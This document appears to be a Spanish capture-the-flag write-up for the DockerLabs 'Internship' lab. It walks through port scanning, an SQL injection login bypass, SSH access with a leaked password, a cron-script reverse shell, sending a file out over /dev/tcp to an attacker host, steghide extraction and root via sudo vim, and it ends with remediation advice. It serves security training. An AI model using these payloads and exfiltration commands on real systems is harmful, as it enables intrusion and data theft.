> For the complete documentation index, see [llms.txt](https://emeges.gitbook.io/emeges/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://emeges.gitbook.io/emeges/dockerlabs/internship.md).

# Internship

Maquina de la plataforma Dockerlabs nivel Fácil, las vulnerabilidades que se tocan en esta máquina es SQLI básico, divulgación de Información , uso de steghide

<figure><img src="https://2840659045-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FwJReu2GEsedonaw2K23F%2Fuploads%2Fuc2Q6Je12UTPFi1eyEO0%2FInternship.png?alt=media&amp;token=42bec68f-13e5-477f-aebe-5d5204d41901" alt=""><figcaption></figcaption></figure>

## \[Nombre de la máquina] — Writeup

| Campo                 | Detalle                 |
| --------------------- | ----------------------- |
| **Plataforma**        | DockerLabs              |
| **Dificultad**        | Fácil                   |
| **Sistema operativo** | Linux                   |
| **IP objetivo**       | `172.17.0.2`            |
| **Fecha**             | 28/08/2026              |
| **Autor**             | Emeges                  |
| **Tags**              | `sql`  `dns` `steghide` |

<figure><img src="https://2840659045-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FwJReu2GEsedonaw2K23F%2Fuploads%2Fk7wONgVPQRNP3WFfHoc5%2F01_index.png?alt=media&amp;token=bccbfbbe-7c43-494b-b91b-86554e18db27" alt=""><figcaption></figcaption></figure>

### 1.1 Escaneo de puertos

{% code overflow="wrap" %}

```
nmap -sS --min-rate 5000 --open -Pn -n -oG allPorts 172.17.0.2
```

{% endcode %}

* `-sS` envía paquetes SYN para iniciar una conexión TCP, pero no completa el handshake, lo que lo hace más sigiloso y rápido para detectar puertos abiertos.
* `--min-rate 5000` Establece una tasa mínima de envio de 5000 paquetes por segundo , acelerando el escaneo , aunque en un entorno real aumenta la posibilidad de ser detectado.
* `-p-` Hace escaneo a todos los puertos (65535)
* `-Pn` Indica a nmap que no realice ping previo para detectar si el host está activo.
* `-n` Evita la resolución DNS, es decir no intenta traducir las Ips a nombre de dominio , además acelera el escaneo.
* `-oN` Guarda el resultado en formato nmap .

<figure><img src="https://2840659045-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FwJReu2GEsedonaw2K23F%2Fuploads%2FrAUZ4epXWFuJplAu599h%2F02_allports.png?alt=media&amp;token=48e91515-104e-40db-94cf-986c9b7caf48" alt=""><figcaption></figcaption></figure>

Obtenemos dos puertos abiertos

* Puerto 22(SSH)
* Puerto 80 (HTTP)<br>
* ### 1.2 Enumeración de servicios y versiones

Ejecutamos un conjunto de scripts básicos de nmap para detectar las versiones detallada de los servicios a los puertos que están abiertos.

```bash
nmap -sCV -p22,80 -oN targeted 172.17.0.2
```

<figure><img src="https://2840659045-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FwJReu2GEsedonaw2K23F%2Fuploads%2F2l3yMjHoQLIs1QoFT3JY%2F00_nmapsCV.png?alt=media&amp;token=a91b3f18-5a35-4713-a08f-0e02b2c10f8f" alt=""><figcaption></figcaption></figure>

No encontramos ninguna  version antigua ni de ssh ni de apache actualmente

### 2. Enumeración&#x20;

#### 2.1 Enumeración Web

Viendo el codigo fuente de la web encontramos  que el href dirige a `gatekeeperhr.com`

<figure><img src="https://2840659045-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FwJReu2GEsedonaw2K23F%2Fuploads%2FH5tBfUBTSlrYe6CLWuey%2F04_view-source.png?alt=media&amp;token=064e20d5-6659-40de-b0d6-89d7fba916e3" alt=""><figcaption></figcaption></figure>

por lo tanto en nuestro  `/etc/host` ponemos  en la 172.17.0.2 gatekeeperhr.com

<figure><img src="https://2840659045-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FwJReu2GEsedonaw2K23F%2Fuploads%2F31vjmyodGcNiCxTwCRKB%2F05_hosts.png?alt=media&amp;token=cdbf9446-1b02-4d93-b4f8-8becae87e7f0" alt=""><figcaption></figcaption></figure>

Entramos a la web mediante gatekeeperhr.com para ver si encontramos algo que nos pueda ayudar a seguir escalando en la web

<figure><img src="https://2840659045-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FwJReu2GEsedonaw2K23F%2Fuploads%2FDOpDMwYeLEhlFpk2uRde%2F06_web.png?alt=media&amp;token=bff2915e-7723-4830-9a70-e9e01410e808" alt=""><figcaption></figcaption></figure>

Aca encontramos una pista de  divulgación de información<br>

### 2.2 Enumeración de directorios

Como escaneo principal utilizaremos gobuster, que sirve para realizar **fuzzing** y encontrar archivos, directorios ocultos o subdominios en un servidor web mediante ataques de fuerza bruta con diccionarios.

{% code overflow="wrap" %}

```
gobuster dir -u http://gatekeeperhr.com/ -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-lowercase-2.3-medium.txt -t 26 
```

{% endcode %}

* -t 26 indica a cuantos hilos hará el ataque

<figure><img src="https://2840659045-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FwJReu2GEsedonaw2K23F%2Fuploads%2FenmJ3FBVZ4TNtajP0ie5%2F07_gobuster.png?alt=media&amp;token=c6723735-5bd0-476d-a4f0-7aeca0697120" alt=""><figcaption></figcaption></figure>

### 2.3.0 Hallazgos relevantes

En el directorio <http://gatekeeperhr.com/spam/> encuentro algo que me llama la atención

<figure><img src="https://2840659045-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FwJReu2GEsedonaw2K23F%2Fuploads%2FaOoE0XvXlRzVYkAlDi89%2F08_spam.png?alt=media&amp;token=5876f3fe-b1b5-4740-8b64-60c12524013d" alt=""><figcaption></figcaption></figure>

Esto puede ser que esté en un método simple de cifrado simple llamado **rot13** , que sustituye cada letra por la que está 13 puestos más adelante del alfabeto

<figure><img src="https://2840659045-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FwJReu2GEsedonaw2K23F%2Fuploads%2FgBEDe2ryGRpgRUmmSKIq%2F09_rot13.png?alt=media&amp;token=16eca26f-8a69-4db8-817e-ec57c05ad957" alt=""><figcaption></figcaption></figure>

Aqui encontramos una contraseña de uno de los pasantes , por lo tanto, nos quedará buscar el usuario .

### 2.3.1 SQLI En inicio de Sesión

Hacemos  un payload básico de SQLI para ver si podemos bypassear el login

{% code overflow="wrap" %}

```
'or 1=1-- -
```

{% endcode %}

<figure><img src="https://2840659045-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FwJReu2GEsedonaw2K23F%2Fuploads%2FL33eKDLreVJmY2AtYxFj%2F10_login.png?alt=media&amp;token=82adf467-e6e6-4c7f-b542-2cb428298754" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2840659045-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FwJReu2GEsedonaw2K23F%2Fuploads%2FUnvSZIeue5JPgp0R39j0%2F11_pasantes.png?alt=media&amp;token=901cf389-6427-4773-b771-d6fa8db7734e" alt=""><figcaption></figcaption></figure>

Encontramos dos usuarios pasantes :  **Pedro** y **Valentina**

### 3. Conexión a SHH

{% code overflow="wrap" %}

```
ssh pedro@172.17.0.2
password: purpl3
```

{% endcode %}

<figure><img src="https://2840659045-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FwJReu2GEsedonaw2K23F%2Fuploads%2FUJbngBNbhrihncQFBVpf%2F12_ssh_login.png?alt=media&amp;token=e45d8e3e-648c-4af0-a100-94193a1b85f5" alt=""><figcaption></figcaption></figure>

### 4. Post-Explotación

#### 4.1 Enumeración local

En el directorio de pedro encontramos la flag

{% code overflow="wrap" %}

```
cat fl4g.txt 
                           _
                        _ooOoo_
                       o8888888o
                       88" . "88
                       (| -_- |)
                       O\  =  /O
                    ____/`---'\____
                  .'  \\|     |//  `.
                 /  \\|||  :  |||//  \
                /  _||||| -:- |||||_  \
                |   | \\\  -  /'| |   |
                | \_|  `\`---'//  |_/ |
                \  .-\__ `-. -'__/-.  /
              ___`. .'  /--.--\  `. .'___
           ."" '<  `.___\_<|>_/___.' _> \"".
          | | :  `- \`. ;`. _/; .'/ /  .' ; |
          \  \ `-.   \_\_`. _.'_/_/  -' _.' /
===========`-.`___`-.__\ \___  /__.-'_.'_.-'================
                        `=--=-'                    

                      ~ Sigue asi ~
```

{% endcode %}

Nos fijamos si tenemos algun permiso SUID para escalar pero no encontramos nada

{% code overflow="wrap" %}

```
find / -perm -4000 2>/dev/null

/usr/sbin/exim4
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/mount
/usr/bin/su
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/sudo

```

{% endcode %}

El siguiente comando que lanzaremos es para buscar scripts de sh o .py para ver si tenemos capacidad de escritura en algunos

{% code overflow="wrap" %}

```
find / -name "*.sh" -o -name "*.py" 2>/dev/null
```

{% endcode %}

<figure><img src="https://2840659045-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FwJReu2GEsedonaw2K23F%2Fuploads%2FQ4E1gXPyBzGJ1Ze3X8jI%2F13_scripts.png?alt=media&amp;token=a0fd29e3-7889-4f6f-a4b3-eb36f6d518d3" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2840659045-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FwJReu2GEsedonaw2K23F%2Fuploads%2FoJwBeYP1m7kV06ldx37g%2F14_writing_files.png?alt=media&amp;token=b6901edc-7595-4223-8bd4-4183964c0a21" alt=""><figcaption></figcaption></figure>

### 4.3  Movimiento lateral / escalada horizontal

<figure><img src="https://2840659045-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FwJReu2GEsedonaw2K23F%2Fuploads%2Fz57VHM0JL5VikS1fIS7n%2F15_script_inside.png?alt=media&amp;token=05a02b2a-7396-46b2-83eb-e44741900f20" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2840659045-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FwJReu2GEsedonaw2K23F%2Fuploads%2FrdiKMs75h9zQdGkfqnVB%2F16_cron.png?alt=media&amp;token=ed509dd6-2c26-4d5e-91e4-cc918913dd86" alt=""><figcaption></figcaption></figure>

Vemos que en el script tenemos capacidad de escritura como Pedro,y que se ejecuta a x cantidad de tiempo, ahora hay que pensar que podriamos hacer, lo que se me ocurrio en este caso es crear una reverse shell, para que nos logee como el usuario que creo el script(Valentina)

<figure><img src="https://2840659045-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FwJReu2GEsedonaw2K23F%2Fuploads%2FQhayHz9l6IRhobdUtvz1%2F17_reverse_shell.png?alt=media&amp;token=cda58c88-1e75-47dc-a0f4-c29411af8a0d" alt=""><figcaption></figcaption></figure>

#### 4.4 Sanitización de la shell

{% code overflow="wrap" %}

```
script /dev/null -c bash
python3 -c 'import pty;pty.spawn("/bin/bash")'
CTRL Z
stty raw -echo; fg  
reset xterm
stty rows 41 columns 184
export TERM=xterm
```

{% endcode %}

### 5. Explotación

En la carpeta de valentina, encontramos dos archivos , uno es la flag.txt y la otra una imagen.

{% hint style="info" %}
&#x20;Esta imagen me llamó la atención por el peso de la misma,entonces voy a transferirmela a mi maquina atacante
{% endhint %}

Como la maquina no tiene python para tranferir,ni nc,  voy a enviarmela por dev/tcp&#x20;

**Atacante**

{% code overflow="wrap" %}

```
nc -lvnp 4445 > profile_picture.jpeg
```

{% endcode %}

* **`nc`**: Llama a Netcat, una herramienta de red que lee y escribe datos a través de conexiones de red.
* **`-l` (Listen)**: Pone a Netcat en modo "escucha". En lugar de conectar con alguien, espera a que alguien se conecte a él.
* **`-v` (Verbose)**: Modo detallado. Muestra texto en la pantalla avisándote cuando un equipo se ha conectado con éxito.
* **`-n` (Numeric)**: Le dice a Netcat que use solo direcciones IP numéricas. Evita que pierda tiempo buscando nombres de dominio (DNS).
* **`-p 1337` (Port)**: Especifica el número de puerto local en el que va a escuchar (en este caso, el puerto 1337).
* **`>`**: Es el operador de **redirección de salida**. En lugar de mostrar los datos que recibe por la pantalla de la terminal, los desvía.

**Victima**

{% code overflow="wrap" %}

```
cat profile_picture.jpeg  > /dev/tcp/IpAtacante/Puerto
```

{% endcode %}

* **`dev/tcp/192.168.X.X/1337`**: Es un "archivo virtual" que crea Bash. Cuando escribes en él, Bash interpreta la ruta y abre automáticamente una conexión de red TCP hacia la IP `192.168.X.X` en el puerto `1337`.
* **`>`**: Operador de redirección de salida. Le dice a Bash: *"El flujo de datos que genere este comando debe enviarse hacia la conexión de red (/dev/tcp/...)"*.

<figure><img src="https://2840659045-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FwJReu2GEsedonaw2K23F%2Fuploads%2FIp9HsDoN1F0lYu5MvZzs%2F18_transferimg.png?alt=media&amp;token=5f633098-9179-45c8-96af-183f1ac326c0" alt=""><figcaption></figcaption></figure>

### 5.1 Uso de steghide

`steghide` Es una herramienta de **esteganografía**. Sirve para **ocultar información dentro de archivos multimedia**, principalmente imágenes JPEG/BMP.\
En CTFs y pentesting se usa mucho para comprobar si una imagen aparentemente normal contiene algún archivo oculto.

Ya en nuestra maquina lanzamos el comando

{% code overflow="wrap" %}

```
steghide --extract -sf profile_picture.jpeg
```

{% endcode %}

* `steghide` → ejecuta la herramienta.
* `--extract` → **extrae** los datos ocultos.
* `-sf` → `stegofile`, indica cuál es el **archivo que contiene los datos ocultos**.
* `profile_picture.jpeg` → imagen que quieres analizar.

Obtenemos un archivo llamado **secret.txt**

{% code overflow="wrap" %}

```
mag1ck
```

{% endcode %}

Probé eso texto para ver si era  la contraseña del usuario **Valentina**

<figure><img src="https://2840659045-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FwJReu2GEsedonaw2K23F%2Fuploads%2F5GiWvUSs3FJM0cnNswP7%2F20_sudol.png?alt=media&amp;token=433ba3ce-4a0a-4cdf-b1d7-3d0e9d55591b" alt=""><figcaption></figcaption></figure>

### 6. Explotacion

Ejecutamos&#x20;

{% code overflow="wrap" %}

```
sudo /usr/bin/vim
```

{% endcode %}

<figure><img src="https://2840659045-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FwJReu2GEsedonaw2K23F%2Fuploads%2FuC91K3Xnz3Bit4Zx6tC2%2F21_set.png?alt=media&amp;token=cae2b25d-280c-4985-994a-07de485c4521" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2840659045-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FwJReu2GEsedonaw2K23F%2Fuploads%2FQgesNWlHCxc3jQX301dt%2F23.png?alt=media&amp;token=3062ae0b-73b9-43c0-9299-8699fe7b7ac1" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2840659045-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FwJReu2GEsedonaw2K23F%2Fuploads%2FtN1SYXZYRc2m1uRHELdk%2F22_rooted.png?alt=media&amp;token=de215193-e345-4a20-b419-9415d81054d1" alt=""><figcaption></figcaption></figure>

Y ya somos root

### 7. Vulnerabilidades encontradas

<br>

1. Divulgación de Información \
   &#x20;Severidad : **Medio**\
   Se encontró una contraseña de un usuario y, además en otro comentario se encontró que podría ser de uno de los pasantes, la pongo en riesgo alto porque efectivamente era de un usuario que nos dio conexión a la maquina victima.\
   Se recomienda eliminar cualquier tipo de comentario dentro del html que contenga credenciales, o en su caso cambiarlas.
2. SQLI Bypass de autenticación\
   Severidad :  **ALTO**\
   La entrada proporcionada por el usuario se incorpora directamente en una consulta SQL sin una validación o parametrización adecuada.\
   Esto permitió alterar la consulta original y **bypassear el mecanismo de autenticación sin proporcionar credenciales válidas**.\
   La aplicación debe utilizar **consultas parametrizadas (prepared statements)** para evitar que las entradas proporcionadas por el usuario sean interpretadas como código SQL.
3. Modificación no autorizada de script.\
   Severidad : ALTO\
   Durante la evaluación se identificó que el usuario `pedro` dispone de permisos de escritura sobre un script perteneciente al usuario `valentina`.

   Esta configuración permite a `pedro` modificar el contenido del script. Debido a que dicho script es ejecutado posteriormente en el contexto de `valentina`, fue posible modificar su contenido para ejecutar código arbitrario y obtener una sesión con los privilegios de dicho usuario.\
   Se recomienda revisar y corregir los permisos del archivo para garantizar que únicamente su propietario o los usuarios explícitamente autorizados puedan modificarlo.
4. Ejecución de Vim con SUID — Escalada de privilegios a root\
   La vulnerabilidad permite a un usuario con acceso a `valentina` escalar sus privilegios hasta `root`.

   Esto supone una **compromisión completa del sistema**, ya que un atacante con privilegios de `root` puede, entre otras acciones.\
   Se recomienda eliminar el bit SUID del binario `vim` y revisar todos los binarios SUID presentes en el sistema.También se recomienda  Evitar asignar SUID a editores de texto u otras herramientas interactivas.<br>

###


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://emeges.gitbook.io/emeges/dockerlabs/internship.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
